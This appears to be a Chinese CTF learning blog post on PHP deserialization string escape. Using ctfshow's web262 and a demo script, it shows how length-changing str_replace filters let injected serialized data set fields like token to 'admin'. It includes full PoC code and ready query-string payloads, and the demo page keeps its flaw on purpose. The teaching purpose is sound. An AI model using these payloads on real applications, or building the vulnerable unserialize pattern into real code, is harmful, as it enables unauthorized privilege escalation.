php反序列化字符串逃逸学习

6 篇文章 4 订阅
4 篇文章 0 订阅

前言

最近在刷ctfshow的web入门反序列化题目时,正好遇到了字符串逃逸的问题,就跟着群主的讲解视频和网上大佬的文章来学习一下。

反序列化特点

PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 。

看如下代码:

<?php
class a{
	public $a = "shyshy";
	public $b = "nb666";
}

$x = new a();
echo serialize($x); 
//结果为 O:1:"a":2:{s:1:"a";s:6:"shyshy";s:1:"b";s:5:"nb666";}

echo '<br>';
$y = 'O:1:"a":2:{s:1:"a";s:6:"shyshy";s:1:"b";s:5:"nb666";}';
var_dump(unserialize($y));

最后反序列化的结果为
请添加图片描述
因为是根据长度来判断内容,所以会在长度符合后的第一个}结束

$y = 'O:1:"a":2:{s:1:"a";s:6:"shyshy";s:1:"b";s:5:"nb666";}6";}';
var_dump(unserialize($y));

请添加图片描述

当字符串和前面的长度不对应时,就会报错

$y = 'O:1:"a":2:{s:1:"a";s:6:"shyshy";s:1:"b";s:6:"nb666";}'; // 长度改为6
var_dump(unserialize($y));

请添加图片描述

反序列化字符串逃逸

下面开始逃逸,能够逃逸的特点一般是题目中都有替换函数,将一些关键词替换成为另一个词,从而造成字符串的长度增加减少,而php总是先进行序列化操作,再去替换字符串。

逃逸后字符串变长

看下面的代码

<?php
class user{
	public $username;
	public $password;
	public $isVIP;

	public function __construct($u,$p){
		$this->username=$u;
		$this->password=$p;
		$this->isVIP=0;
	}
}

function filter($s){
	return str_replace('admin','hacker',$s);
}
$u = new user('admin','123456');
echo serialize($u);

输出为O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
用过滤函数后

$us = filter($u_seri);
echo $us;

O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
两者对比,发现admin已经被替换成hacker,但是字符串长度没有变,还是5,这就逃逸出来了一个字符。
现在想要将isVIP的值改为1,首先,可以将admin的值改为admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;},这样可以使得在反序列化时,到这里就成功闭合,从而舍弃后面的字符串。
请添加图片描述
但是因为admin变长,前面的长度却还显示的是原来的,这就导致运行后会报错。这时就要借助过滤函数让字符串变长的作用。(刚刚添加的字符串长度为47)
过滤函数每次替换后,都会让字符串字母+1,也就是需要47个admin来填充

$u = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456');
$u_seri = serialize($u);
$us = filter($u_seri);
echo $us;

输出结果:

O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

验证一下长度
请添加图片描述
再来看最后结果
请添加图片描述
发现成功的让isVIP变成了1

web262 wp

再看一道反序列化导致字符串变长的题,是CTFshow web入门的web262

<?php
error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

这里会把字符串中的fuck替换为loveU,多出来一个字符。
题目中给的提示,还有一个message.php

<?php
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

开始分析

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
	}
}

function filter($msg){
	return str_replace('fuck','loveU',$msg);
}

$msg = new message('1','1','fuck');

$msg_1 = serialize($msg);

echo $msg_1;
//O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:4:"fuck";s:5:"token";s:4:"user";}

上面是在函数过滤前,下面是函数过滤后

$msg_2 = filter($msg_1);
echo $msg_2;
//O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:4:"loveU";s:5:"token";s:4:"user";}

可以看到逃逸出一个字符。那么这题就是要把类中$token的值由user换成admin,按照上面的例子

";s:5:"token";s:5:"admin";}

请添加图片描述
可以看到字符串的长度是27,也就是要27个fuck

完整poc:

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
	}
}

function filter($msg){
	return str_replace('fuck','loveU',$msg);
}

$msg = new message('1','1','fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');

$msg_1 = serialize($msg);


$msg_2 = filter($msg_1);
echo $msg_2;

验证一下,发现逃逸成功,token=admin
请添加图片描述
payload:

?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

然后访问message.php获取flag

逃逸后字符串变短

写一个简单的代码

<?php
highlight_file(__FILE__);
class web{
	public $username;
	public $password;
	public $isvip = '0';

	public function __construct($u,$p){
		$this->username = $u;
		$this->password = $p;
	}
}

$username = $_GET[u];
$password = $_GET[p];

function filter($msg){
	return str_replace('shy','',$msg);
}

$msg = new web($username,$password);

$msg_1 = serialize($msg);
echo $msg_1;
echo '<br>';
echo '<br>';

$msg_2 = filter($msg_1);
echo $msg_2;
echo '<br>';
echo '<br>';

$msg_3 = unserialize($msg_2);
var_dump($msg_3);

目的是让isvip的值由0变为1。在输入普通字符后,结果正常
请添加图片描述
在输入一个shy后,被置换为空,同时逃逸出三个字符
请添加图片描述
那么想要让isvip的值为1,就要构造如下字符串

"s:5:"isvip";s:1:"1";}

长度为22,先输入一个shy让反序列化不正常
请添加图片描述
那么红框框起来的就变为username的值,那么可以让这中间的";s:8:"password";s:29:"123456全部变成username的值,再自己添加一个password,使变量的数量保持为3,就可以造成逃逸。
请添加图片描述
由于长度是29,无法整除3,所以改成1234567,此时长度为30,共需要10个shy,吃掉30个字符。然后添加";s:8:"password";s:6:"123456作为password序列化的内容。
如下图,可以看到成功的把isvip的值变为1
请添加图片描述

payload:

?u=shyshyshyshyshyshyshyshyshyshy&p=1234567";s:8:"password";s:6:"123456";s:5:"isvip";s:1:"1";}
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Lum1n0us

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值